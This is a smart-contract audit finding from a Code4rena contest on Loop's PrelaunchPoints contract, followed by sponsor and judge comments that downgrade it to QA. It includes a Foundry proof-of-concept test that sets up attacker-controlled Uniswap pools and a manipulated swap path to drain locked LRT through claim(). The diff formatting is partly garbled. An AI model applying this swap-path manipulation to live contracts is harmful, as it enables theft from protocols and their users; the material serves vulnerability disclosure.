Malicious users can steal their locked LRT back by inserting their own token as an intermediary

[howlbot-integration[bot]]

Lines of code

https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L413

Vulnerability details

Impact

Prelaunch contract loses their locked LRT (to be appointed as locked ETH), and malicious users effectively stealing their locked LRT back.

Description

Taken from written details about the Points Program in loopfi's documentation.
Link to documentation

The purpose of this program is to acquire liquidity in ETH, using points given to users who lock their ETH as incentives.
After epoch 1 is concluded (convertAllETH() is called), all native ETH are converted to lpETH but not LRT (or other supported tokens).

The unwritten invariance here is that All assets, value in ETH, must all be converted to lpETH (as close to 1:1 as possible, depending on slippage of the swap)
If the above invariance breaks (e.g. only 50% of assets value in ETH are converted to lpETH), the protocol will take the loss since it gives point to users for nothing.

This invariance holds in the case of native ETH since all of native ETH are converted immediately in convertAllETH().
https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L321-L324

However, this is not always the case for other tokens, because those tokens are swapped to native ETH inside claim() then convert to lpETH.
IF there exists an execeution path that would result in less native ETH sent back from swap and (0 is also possible) being converted to lpETH and malicious users still get their locked ETH back in full, then the invariance above wil break.

Looking further into swap parameters that are user-controllable.
https://github.com/code-423n4/2024-05-loop/blob/main/src/PrelaunchPoints.sol#L413

We can clearly see that users calling claim() can control both path and mimimum output amount of the swap.
The minimum output is there to protect users' loss from slippage, however, this is a double-edge sword if we take the above invariance into account.
Malicious users can set minimum output to zero and set the path of swap like this:
[LRT, MALICIOUS, WETH]
Where they set the price of their MALICIOUS token incredibly high in LRT/MALICIOUS pool and very low in MALICIOUS/WETH pool.
Using this swap path, these malicious users can effectively transfer their locked LRT to their pool and return 0 WETH to prelaunch contract.

The prelaunch contract would lose locked LRT, and these malicious users still get point from locking LRT in Epoch 1

Proof-of-Concept

I added a new test function to demonstrate that malicious users can steal their locked LRT back by inserting their fake token as intermediary in swap path.
Steps

1. apply below git diff in 2024-05-loop repository

   
   diff --git a/test/PrelaunchPoints.t.sol b/test/PrelaunchPoints.t.sol
   index 753d3ef..3c3f693 100644
   --- a/test/PrelaunchPoints.t.sol
   +++ b/test/PrelaunchPoints.t.sol
   @@ -13,6 +13,44 @@ import {LRToken} from "../src/mock/MockLRT.sol";
   
   import "forge-std/console.sol";

+interface IFactory{

• function createPool(

• address tokenA,

• address tokenB,

• uint24 fee

• ) external returns(address); +} +interface INFTPositionManager{

• struct MintParams {

• address token0;

• address token1;

• uint24 fee;

• int24 tickLower;

• int24 tickUpper;

• uint256 amount0Desired;

• uint256 amount1Desired;

• uint256 amount0Min;

• uint256 amount1Min;

• address recipient;

• uint256 deadline;

• }

• function mint(MintParams calldata params)

• external

• payable

• returns (

• uint256 tokenId,

• uint128 liquidity,

• uint256 amount0,

• uint256 amount1

• );

• function createAndInitializePoolIfNecessary(

• address token0,

• address token1,

• uint24 fee,

• uint160 sqrtPriceX96

• ) external payable returns (address pool); +}

• contract PrelaunchPointsTest is Test { PrelaunchPoints public prelaunchPoints; AttackContract public attackContract; @@ -197,6 +235,159 @@ contract PrelaunchPointsTest is Test { /// ======= Tests for claim ETH======= /// bytes emptydata = new bytes(1);

• function prepareFAKE_WETHLiquidity() internal{

• address NftPositionManager = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88;

• address factory = 0x1F98431c8aD98523631AE4a59f267346ea31F984;

• deal(WETH, address(this), 1e18);

• console2.log("[+] Create a new pool FAKE/WETH and add liquidity");

• address token0 = (address(WETH) > address(fakeToken)) ? address(fakeToken) : address(WETH);

• address token1 = (token0 == address(WETH)) ? address(fakeToken) : address(WETH);

• address pool = INFTPositionManager(NftPositionManager).createAndInitializePoolIfNecessary(

• token0,

• token1,

• 3000,

• 1517882343751509868544

• );

• IERC20(WETH).approve(NftPositionManager, type(uint).max);

• fakeToken.approve(NftPositionManager, type(uint).max);

• INFTPositionManager.MintParams memory _params = INFTPositionManager.MintParams(

• token0,

• token1,

• 3000,

• -887220,

• 887220,

• 0.1e18,

• 0.1e18,

• 0,

• 0,

• address(this),

• block.timestamp

• );

• (,, uint amount0, uint amount1) = INFTPositionManager(NftPositionManager).mint(

• _params

• );

• }

• ERC20Token public fakeToken;

• address public lrt_fakePool;

• function prepareLRT_FAKELiquidity() internal{

• address NftPositionManager = 0xC36442b4a4522E871399CD717aBDD847Ab11FE88;

• address factory = 0x1F98431c8aD98523631AE4a59f267346ea31F984;

• address token0 = (address(lrt) > address(fakeToken)) ? address(fakeToken) : address(lrt);

• address token1 = (token0 == address(lrt)) ? address(fakeToken) : address(lrt);

• console2.log("[+] Create a new pool LRT/FAKE and add liquidity");

• lrt_fakePool = INFTPositionManager(NftPositionManager).createAndInitializePoolIfNecessary(

• token0,

• token1,

• 3000,

• 1517882343751509868544

• );

• fakeToken.approve(NftPositionManager, type(uint).max);

• lrt.approve(NftPositionManager, type(uint).max);

• INFTPositionManager.MintParams memory _params = INFTPositionManager.MintParams(

• token0,

• token1,

• 3000,

• -887220,

• 887220,

• 0.1e18,

• 0.1e18,

• 0,

• 0,

• address(this),

• block.timestamp

• );

• (,, uint amount0, uint amount1) = INFTPositionManager(NftPositionManager).mint(

• _params

• );

• }

• function onERC721Received(

• address operator,

• address from,

• uint256 tokenId,

• bytes calldata

• ) external returns (bytes4){

• return bytes4(0x150b7a02);

• }

• function testClaimNnez() public {

• // Deployment using vm.etch to fix the address so that address(FAKE) > address(LRT) and the test would be reproducible

• vm.etch(0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f, type(LRToken).runtimeCode);

• lrt = LRToken(0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f);

• lrt.mint(address(this), INITIAL_SUPPLY);

• prelaunchPoints.allowToken(address(lrt));

• uint lockAmount = 1e18;

• console2.log("[+] Locking 1e18 LRT token");

• lrt.approve(address(prelaunchPoints), lockAmount);

• prelaunchPoints.lock(address(lrt), lockAmount, referral);

• console2.log("[+] Locked");

• console2.log("[+] Ending Epoch 1, converting all ETH to lpETH");

• // Set Loop Contracts and Convert to lpETH

• prelaunchPoints.setLoopAddresses(address(lpETH), address(lpETHVault));

• vm.warp(prelaunchPoints.loopActivation() + prelaunchPoints.TIMELOCK() + 1);

• prelaunchPoints.convertAllETH();

• console2.log("[+] Warping timestamp to after claim date");

• vm.warp(prelaunchPoints.startClaimDate() + 1);

• console2.log("[+] Deploying attacker-controlled ERC20 token contract");

• // Deployment using vm.etch to fix the address so that address(WETH) > address(FAKE) and the test would be reproducible

• vm.etch(0xa0Cb889707d426A7A386870A03bc70d1b0697598, type(ERC20Token).runtimeCode);

• fakeToken = ERC20Token(0xa0Cb889707d426A7A386870A03bc70d1b0697598);

• vm.label(address(fakeToken), "FAKE-ERC20");

• console2.log("[+] Deployed at: %s", address(fakeToken));

• console2.log("[+] Mint some for liquidity");

• fakeToken.mint(address(this), 100e18);

• prepareFAKE_WETHLiquidity();

• prepareLRT_FAKELiquidity();

• console2.log("[+] Preparing encodedPath [LRT, 3000, FAKE, 3000, WETH]");

• bytes memory encodedPath = abi.encodePacked(

• address(lrt),

• uint24(3000),

• address(fakeToken),

• uint24(3000),

• WETH

• );

• console2.log("[+] Preparing swapData for claim()");

• bytes memory swapData = abi.encodePacked(

• bytes4(0x803ba26d),

• abi.encode(

• encodedPath,

• 1e18,

• 0,

• address(prelaunchPoints)

• )

• );

• console2.log("[+] Calling claim function");

• console2.log( "[+] LRT balance in LRT/FAKE before %s", IERC20(lrt).balanceOf(lrt_fakePool) );

• prelaunchPoints.claim(address(lrt), 100, PrelaunchPoints.Exchange.UniswapV3, swapData);

• console2.log( "[+] LRT balance in LRT/FAKE after %s", IERC20(lrt).balanceOf(lrt_fakePool) );

• }

• function testClaim(uint256 lockAmount) public { lockAmount = bound(lockAmount, 1, 1e36); vm.deal(address(this), lockAmount);

  
  2. run `forge test -vvv --rpc-url https://ethereum.publicnode.com --match-test "testClaimNnez"` and observe the result that attacker obtains more LRT in their LRT/FAKE pool.  

Tools used

• Manual review

  Recommended Mitigation Steps

• Implement slippage check for returning ETH from swap (regardless of users' slippage).

Assessed type

Other

[c4-judge]

koolexcrypto marked the issue as primary issue

[0xd4n1el]

This is possible, but for the points program we use Claim event too, so you cannot farm points without actually getting your tokens converted into lpETH

[c4-judge]

koolexcrypto marked the issue as duplicate of #66

[c4-judge]

koolexcrypto changed the severity to QA (Quality Assurance)

[c4-judge]

koolexcrypto marked the issue as grade-c